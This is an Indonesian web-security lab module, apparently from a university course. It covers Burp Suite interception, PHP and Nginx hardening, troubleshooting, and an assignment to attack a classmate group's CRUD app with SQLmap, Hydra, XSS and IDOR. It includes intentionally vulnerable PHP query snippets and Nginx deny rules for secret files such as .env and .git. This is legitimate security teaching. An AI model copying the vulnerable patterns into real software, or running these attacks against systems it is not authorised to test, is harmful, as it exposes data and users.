Burp Suite adalah platform penetration testing web yang paling banyak digunakan. Fungsi utamanya adalah sebagai proxy yang meng-intercept, memodifikasi, dan memutar ulang HTTP request antara browser dan target. Di P7, Burp Suite digunakan untuk menganalisis request, membantu SQLmap, dan melakukan brute force.

1. Setup Burp Suite

#	Langkah Setup Burp Suite
1	Buka Burp Suite di Kali: Menu Applications → Web Application Analysis → burpsuite.
2	Pilih Temporary Project → Next → Use Burp Defaults → Start Burp.
3	Burp Suite terbuka. Secara default, proxy listener aktif di 127.0.0.1:8080.

2. Konfigurasi Browser Proxy

#	Langkah Konfigurasi Proxy Firefox
1	Buka Firefox di Kali → Settings → cari "proxy".
2	Pilih Manual proxy configuration.
3	Isi HTTP Proxy: 127.0.0.1, Port: 8080.
4	Centang Also use this proxy for HTTPS.
5	Klik OK. Sekarang semua trafik browser melewati Burp Suite.

3. Install Burp CA Certificate

Untuk intercept HTTPS (termasuk URL Cloudflare), browser perlu trust sertifikat CA Burp:

#	Langkah Install CA Certificate
1	Dengan proxy aktif, buka browser dan akses: http://burp
2	Klik CA Certificate untuk download sertifikat.
3	Di Firefox: Settings → Privacy & Security → Certificates → View Certificates.
4	Tab Authorities → Import → pilih file yang didownload.
5	Centang Trust this CA to identify websites → OK.
6	Sekarang Burp Suite bisa intercept trafik HTTPS tanpa error.

4. Intercept & Modify Request

#	Langkah Intercept Request
1	Di Burp Suite, buka tab Proxy → Intercept → pastikan tombol "Intercept is on".
2	Di browser (via proxy), akses halaman login target dan isi form login.
3	Klik Login — request akan ter-intercept di Burp (tidak langsung terkirim).

4	Di Burp, kamu bisa melihat dan memodifikasi seluruh request (URL, parameter, header, cookie).
5	Klik Forward untuk mengirim request, atau Drop untuk membatalkan.

5. Repeater — Replay & Modify

Repeater memungkinkan kamu mengirim ulang request yang sudah di-intercept, memodifikasinya, dan melihat response secara langsung.

#	Langkah Menggunakan Repeater
1	Saat request ter-intercept, klik kanan → Send to Repeater.
2	Pindah ke tab Repeater — request muncul di panel kiri.
3	Modifikasi parameter (misal: ubah username menjadi payload SQLi).
4	Klik Send — response muncul di panel kanan.
5	Bandingkan response untuk request normal vs request dengan payload.

Repeater sangat berguna untuk testing SQLi manual. Kamu bisa mengubah payload berulang kali tanpa harus kembali ke browser dan mengisi form lagi.

O. Hardening & Defense

Setelah melakukan serangan, setiap kelompok wajib memperbaiki kerentanan yang ditemukan di web CRUD sendiri. Bagian ini menjelaskan cara menutup setiap celah keamanan yang dieksploitasi di modul ini.

1. Prepared Statements (Anti SQLi)

Ganti semua query yang menggunakan string concatenation dengan **prepared statements** (PDO atau MySQLi). Ini adalah cara paling efektif mencegah SQL Injection.

```
// VULNERABLE (jangan dipakai):
$query = "SELECT * FROM users WHERE username='$user' AND
password='$pass'";
$result = mysqli_query($conn, $query);

// SECURE (gunakan prepared statement):
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND
password=?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
$result = $stmt->get_result();
```

2. Output Encoding (Anti XSS)

Setiap kali menampilkan data yang berasal dari input user, gunakan **htmlspecialchars()** untuk mencegah eksekusi kode HTML/JavaScript.

```
// VULNERABLE:
echo $row["title"];
echo $row["content"];

// SECURE:
echo htmlspecialchars($row["title"], ENT_QUOTES, "UTF-8");
echo htmlspecialchars($row["content"], ENT_QUOTES, "UTF-8");
```

3. Authorization Check (Anti IDOR)

Setiap query yang mengambil data berdasarkan ID harus memvalidasi bahwa data tersebut milik user yang sedang login.

```
// VULNERABLE:
$id = $_GET["id"];
$query = "SELECT * FROM notes WHERE id=$id";

// SECURE:
$id = $_GET["id"];
$user_id = $_SESSION["user_id"];
$stmt = $conn->prepare("SELECT * FROM notes WHERE id=? AND user_id=?");
$stmt->bind_param("ii", $id, $user_id);
$stmt->execute();
```

4. Rate Limiting (Anti Brute Force)

Batasi jumlah percobaan login yang gagal per IP atau per user. Contoh implementasi sederhana:

```
// Simpan percobaan gagal di session:
if (!isset($_SESSION["login_attempts"])) {
    $_SESSION["login_attempts"] = 0;
}

if ($_SESSION["login_attempts"] >= 5) {
    die("Terlalu banyak percobaan. Coba lagi dalam 15 menit.");
}

// Setelah login gagal:
$_SESSION["login_attempts"]++;

// Setelah login berhasil:
$_SESSION["login_attempts"] = 0;
```

5. Secure HTTP Headers

Tambahkan header keamanan di konfigurasi Nginx untuk mencegah berbagai serangan:

```
# Tambahkan di blok server {} nginx.conf:
server_tokens off;                                # Sembunyikan versi Nginx
add_header X-Content-Type-Options "nosniff";       # Cegah MIME-type
sniffing
add_header X-Frame-Options "DENY";                 # Cegah clickjacking
add_header X-XSS-Protection "1; mode=block";       # Aktifkan XSS filter
browser
add_header Referrer-Policy "no-referrer";           # Jangan kirim referrer

# Di PHP, tambahkan di awal setiap halaman:
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");
```

6. Sembunyikan File Sensitif

```
# Di nginx.conf, blokir akses ke file sensitif:
location ~ /\. (env|git|htaccess|htpasswd) {
    deny all;
    return 404;
}

location ~ \.(sql|bak|old|log)$ {
    deny all;
    return 404;
}
```

7. Password Hashing

Simpan password user dalam bentuk hash, bukan plain text:

```
// Saat register - hash password sebelum simpan ke database:
$hashed = password_hash($password, PASSWORD_DEFAULT);

// Saat login - verifikasi password dengan hash:
if (password_verify($input_password, $hashed_from_db)) {
    // Login berhasil
} else {
    // Login gagal
}
```

Urutan prioritas hardening: (1) Prepared Statements, (2) Output Encoding, (3) Authorization Check, (4) Password Hashing, (5) Secure Headers, (6) Rate Limiting. Empat yang pertama menutup celah paling kritis.

P. Troubleshooting

Masalah	Penyebab	Solusi
Gobuster error: connection refused	URL target salah atau container mati	Cek URL, pastikan docker compose up di target
SQLmap: no injection point	Parameter tidak vulnerable / salah field	Cek ulang nama field di form, coba --level=3 --risk=3
XSS tidak muncul alert	Input di-encode oleh aplikasi	Coba payload alternatif:
Hydra: 0 valid passwords	Failure string salah	Login manual dulu, copy persis teks error ke parameter F=
Burp Suite: SSL error	CA certificate belum diinstall	Ikuti langkah install CA di Section N
Cloudflare: 403 Forbidden	Rate limit atau WAF Cloudflare	Tunggu 5 menit, kurangi kecepatan serangan
curl: connection timeout	Cloudflare tunnel target tidak aktif	Minta kelompok target jalankan cloudflared tunnel

Q. Tugas

TUGAS — Web Attack via Cloudflare Tunnel

Kerjakan serangan berikut terhadap web CRUD kelompok target yang ditentukan dosen dan dokumentasikan semua temuan dalam laporan pentest:

1. Reconnaissance: Jalankan Gobuster dan curl header inspection. Screenshot semua temuan (hidden path, server info, file sensitif yang terekspos).
2. SQL Injection: Lakukan SQLi manual di form login (bypass login). Kemudian jalankan SQLmap untuk dump database. Screenshot bukti bypass login dan hasil dump SQLmap.
3. XSS: Sisipkan payload XSS di catatan (Stored XSS). Screenshot popup alert sebagai bukti.
4. IDOR: Akses catatan milik user lain dengan mengubah parameter ID di URL. Screenshot catatan yang berhasil diakses.
5. Brute Force Login: Jalankan Hydra dengan wordlist. Screenshot jika menemukan credential valid.
6. Sensitive Data Exposure: Dokumentasikan semua file atau informasi sensitif yang terekspos.
7. Hardening: Perbaiki minimal 3 kerentanan di web CRUD kelompok sendiri. Screenshot kode sebelum dan sesudah perbaikan.

Semua screenshot dan temuan dimasukkan ke dalam laporan pentest bersama hasil serangan via Tailscale (modul terpisah). Laporan dikumpulkan di akhir sesi P7.